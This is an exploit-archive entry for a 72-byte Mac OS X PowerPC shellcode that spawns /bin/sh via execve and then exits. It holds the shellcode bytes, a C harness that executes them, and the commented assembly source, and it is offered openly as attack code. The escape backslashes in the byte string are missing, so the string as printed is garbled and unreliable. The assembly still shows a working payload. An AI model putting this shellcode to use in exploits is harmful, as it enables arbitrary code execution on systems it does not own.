[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : os-x/ppc execve(/bin/sh), exit() 72 bytes
# Published : 2006-05-01
# Author : hophet
# Previous Title : os-x/ppc sync(), reboot() 32 bytes
# Next Title : linux/amd64 connect-back semi-stealth shellcode 88+ bytes


/*
 * [MacOSX/PowerPC]
 * Shellcode for: execve("/bin/sh", ["/bin/sh"], NULL), exit()
 * 72 bytes
 * hophet [at] gmail.com
 * http://www.nlabs.com.br/~hophet/
 *
 */

#include <stdio.h>
#include <string.h>

char shellcode[] = 

"x7cxa5x2ax79"
"x40x82xffxfd"
"x7dx68x02xa6"
"x3bxebx01x71"
"x39x40x01x71"
"x39x1fxfexce"
"x7cxa8x29xae"
"x38x7fxfexc7"
"x90x61xffxf8"
"x90xa1xffxfc"
"x38x81xffxf8"
"x38x0axfexca"
"x44xffxffx02"
"x60x60x60x60"
"x38x0axfex90"
"x44xffxffx02"
"x2fx62x69x6e"
"x2fx73x68x54";

int main() {

	void (*p)();
	p = (void *)&shellcode;
	printf("Lenght: %dn", strlen(shellcode));
	p();
}
/*
.globl _main
.text
_main:
        xor.    r5, r5, r5	// r5 = NULL
        bnel    _main
        mflr    r11
        addi    r31, r11, 369
        li      r10, 369
        addi    r8, r31, -306
        stbx    r5, r8, r5
        addi    r3, r31, -313
        stw     r3, -8(r1)	// [/bin/sh]
        stw     r5, -4(r1)
        subi    r4, r1, 8	// [/bin/sh]
        addi    r0, r10, -310	// r0 = 59
        .long   0x44ffff02	// sc opcode
        .long	0x60606060	// NOP
        addi    r0, r10, -368	// r0 = 1
        .long   0x44ffff02	// sc opcode
string:	.asciz	"/bin/shT"
*/

// www.Syue.com [2006-05-01]